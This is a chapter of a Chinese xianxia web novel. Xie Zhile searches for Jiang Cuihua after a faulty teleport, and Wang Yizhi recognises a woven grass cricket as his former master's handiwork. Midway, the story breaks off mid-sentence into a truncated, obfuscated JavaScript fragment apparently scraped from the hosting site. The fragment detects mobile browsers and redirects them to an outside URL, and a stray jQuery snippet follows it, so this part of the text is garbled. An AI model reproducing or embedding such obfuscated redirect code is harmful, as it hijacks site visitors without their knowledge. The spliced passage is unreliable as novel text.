院外市集入口,人流依旧熙攘,灯火通明,映照着谢知乐瞬间僵住的身影。
他脸上还带着轻松的笑意,习惯性地侧身,伸手想去牵住江翠花。
然而,他的手捞了个空。
指尖触到的,只有一片冰凉的、带着空间余韵波动的空气。
谢知乐脸上的笑容瞬间凝固,他猛地回头,目光疾速扫过身后。
空无一人!
“江翠花?!”
谢知乐失声低呼,声音里带着难以置信的惊愕。他立刻环顾四周,试图在往来的人群中找到那抹熟悉的身影,但一无所获。
内心震惊如同海啸般席卷而来!
神树传送一向稳定,从来都是直接将人送到这城门口固定位置,从未出过差错!
这是所有天道院弟子乃至常来市集的人都清楚的常识!
怎么可能……怎么可能独独把江翠花传送到别的地方去了?
一个可怕的念头瞬间闪过他的脑海。
时空乱流!
只有在极其罕见的情况下,空间通道受到强烈干扰,才会产生不稳定的时空漩涡,将人随机甩到未知的地点。
可这神树通道稳固无比,怎会……
是意外?
还是……有人刻意为之?!
谢知乐眉头紧锁,脸上是毫不掩饰的焦虑与阴沉,与平日里那个风流倜傥、万事不过心的谢三公子判若两人。
就在他心神不宁之际,身后神树的光晕再次荡漾,两道人影一前一后迈步而出,正是下课之后也来市集闲逛的王逸之和荀莫言。
王逸之一眼就看到了城门口那道显眼且状态明显不对的谢知乐。
王逸之缓步上前,在谢知乐身边站定,语气平淡,却带着一丝不易察觉的、精准无比的嘲讽,缓缓开口。
“谢三公子?”他故作讶异地挑了挑眉,“真是巧了。”
他刻意停顿了一下,目光在谢知乐周围又扫了一圈,确认无人,才慢悠悠地继续道,每个字都像小刀子似的:“你不是一直跟在江翠花屁股后头吗?怎么一个人在这儿?”
最后,他抛出那句直击要害的问话,语气里带着了然和一丝看好戏的意味:“人……跟丢了?”
跟丢了三个字,轻飘飘的,却像是一记重锤,狠狠砸在谢知乐本就焦躁的心上。
荀莫言站在王逸之身后,虽然没说话,但那双带着傲气的眼睛里也闪过一丝明显的幸灾乐祸。
谢知乐猛地转头,看向王逸之,眼神锐利得几乎能杀人。
若是平时,他定有十句八句更毒辣的话顶回去,但此刻,他心系江翠花的安危,根本没心思跟王逸之斗嘴。
他强压下火气,从牙缝里挤出一句话:“神树传送出了岔子,她没跟我传到一处。”
王逸之闻言,脸上的调侃之色稍稍收敛,眉头也蹙了起来:“时空乱流?这倒是罕见。”
王逸之也意识到这可能不是小事,语气正经了些,“可知大概方向?”
谢知乐烦躁地揉了揉额角:“毫无头绪!空间痕迹太乱,感知不到。”
就在谢知乐与王逸之之间气氛凝重,为江翠花的失踪忧心忡忡之际,一点微弱的、几乎与夜色融为一体的绿光,晃晃悠悠地飞到了谢知乐面前。
那是一只用夜幽草精心折叠而成的蟋蟀,形态灵动,草叶上还带着山间的夜露与清冷气息。
谢知乐瞳孔微缩,一眼就认出了这独特的手法与材质!
他立刻伸出手掌,那草编蟋蟀便轻巧地落入了他的掌心。
就在蟋蟀触及他皮肤的瞬间,江翠花那熟悉的声音,带着一丝清晰的灵力波动,伴随着一股懊恼的情绪,直接传了开来。
“谢知乐……”
声音顿了顿,似乎有些难以启齿,但还是带着认命般的沮丧说了出来:
“我好像……迷路了……”
一瞬间,城门口仿佛连空气都安静了。
谢知乐脸上的焦虑、阴沉、担忧瞬间消失,取而代之的是满脸的哭笑不得。
谢知乐无视了旁边两个看热闹的家伙,将所有注意力都集中在掌心的蟋蟀上。
他指尖注入一丝温和的灵力,通过这信物反向感应江翠花的位置。
谢知乐同时对着蟋蟀,又好气又好笑地低声道:“江大姑娘,您可真是……能耐不小。”
虽然情况听起来似乎没有生命危险,但她一个人迷失在未知之地,终究让人放心不下。
谢知乐收起蟋蟀,不再理会王逸之和荀莫言,身形一闪,便朝着蟋蟀飞来时的大致方向,急速掠去。
荀莫言看着谢知乐匆忙离去的背影,摇了摇头,对王逸之淡淡道:“谢知乐还真是被那个江翠花吃的死死的。”
“走吧,看来没我们的事了。”
然而,王逸之却依旧僵立在原地,仿佛被一道无形的枷锁缚住。
他的视线,如同被磁石吸引,死死地无法从谢知乐消失的方向挪开,更准确地说,是无法从那只已然不见的蟋蟀上挪开。
那只蟋蟀……
那用夜幽草叶折叠的、带着山野清气的、形态灵动甚至带着几分顽皮的草编蟋蟀!
为何……为何会同幼时,他的师傅江雪寒编给他的一模一样?!
记忆的闸门被轰然冲开,汹涌的往事瞬间将他淹没。
那是多少年前了?
在上清山云雾缭绕的后崖,他还是个刚入门、因为想家而偷偷红眼眶的小童。
那位在他眼中如同九天明月、清冷又强大的师尊江雪寒,为了哄他,随手在崖边采了几茎韧性极佳的夜幽草。她那执剑的、能画出最繁复剑符的手指,灵活地翻飞着,不过片刻,一只栩栩如生的蟋蟀便出现在她掌心,递到他面前。
“男儿有泪不轻弹。”她语气依旧清淡,却将蟋蟀放在他手里,“拿去玩吧。看,像不像在跳舞?”
那只蟋蟀,他珍藏了许久,直到草叶干枯发黄,也舍不得丢弃。
因为那是看似不近人情的师尊,为数不多的、温柔的证明。
而那只蟋蟀的每一个折角,每一处固定的手法,甚至那触须微微上翘的弧度,都早已深深烙印在他的记忆深处,绝不会错!
一模一样!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753012|180908||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>方才谢知乐手中那只,除了材质更新鲜,与他记忆深处珍藏的那只,分毫不差!
这怎么可能?!
江雪寒的独门手法,她随手哄小孩的小玩意儿,怎么会出现在江翠花手中?
是巧合?世间怎会有如此精准到每一个细节的巧合?!
是江翠花……与师尊有关?
可她身上并无师尊那凌厉纯粹的剑意,修为更是天差地远……
还是……他不敢想下去的那个可能……
王逸之的呼吸骤然变得急促,胸腔里的心脏狂跳不止,仿佛要挣脱束缚。
他垂在身侧的手不自觉地握紧,指节因为用力而泛白。他那张总是沉稳持重的脸上,第一次出现了近乎失态的震惊与迷茫,以及一丝连他自己都未曾察觉的、微弱的、名为希望的火星。
“逸之?”荀莫言察觉到他异常的沉默和紧绷的气息,疑惑地唤了一声。
王逸之猛地回神,强行压下翻腾的心绪,脸上迅速恢复了惯常的平静,只是那眼底深处,已掀起了无法平息的波澜。
他微微摇头,声音带着一丝不易察觉的沙哑:“无事,我们走吧。”
他最后望了一眼谢知乐离开的方向,目光深邃如夜。
*****
谢知乐将身法催动到极致,如同夜色中的一道青烟,紧紧追随着那只草编蟋蟀指引的方向。
那蟋蟀飞得不算快,但轨迹明确,显然与江翠花之间存在着某种玄妙的联系。
他一路穿过稀疏的林地,越过几条干涸的沟壑,周围的景物越来越荒凉,已然是天道院管辖范围内较为偏僻的区域。
谢知乐的心也随着环境的荒僻渐渐沉下。
她竟然被传送到了这么远的地方?
突然,前方那只一直稳定飞行的蟋蟀,动作猛地一滞,随即像是失去了所有动力,一动不动地悬停在了半空中,周身微弱的光华也迅速黯淡下去。
谢知乐心头一紧,瞬间掠至蟋蟀下方,伸手将它接住。指尖传来的触感冰凉,内部的灵韵似乎耗尽了。
“灵力耗尽了?还是……”他眉头紧锁,立刻警惕地环顾四周。
这里是一处山坳,乱石丛生,夜风呼啸,并无任何战斗或挣扎的痕迹。
他的目光扫过地面的每一寸。很快,他就在蟋蟀悬停位置的不远处,有了发现。
一丛夜幽草中,有一支的草茎以一种不自然的角度断裂了,断口还很新鲜,显然是刚被碰断不久。
而且,那断裂的高度和手法……
这只蟋蟀应当就是从那儿来的,看来这便是江翠花传信时所在的位置。
可她人又去了哪里?
谢知乐蹲下身,仔细观察着地面。
泥土湿润,依稀能看到一些模糊的脚印,但朝向有些混乱。
他扩大搜索范围,在几块石头边缘,发现了一点被蹭掉的衣服布料,看上去是江翠花的外衫。
而那痕迹指向了山坳的更深处,那里似乎有隐约的水声传来。
她是继续深入山坳?
还是她遇到了什么,被迫改变了方向?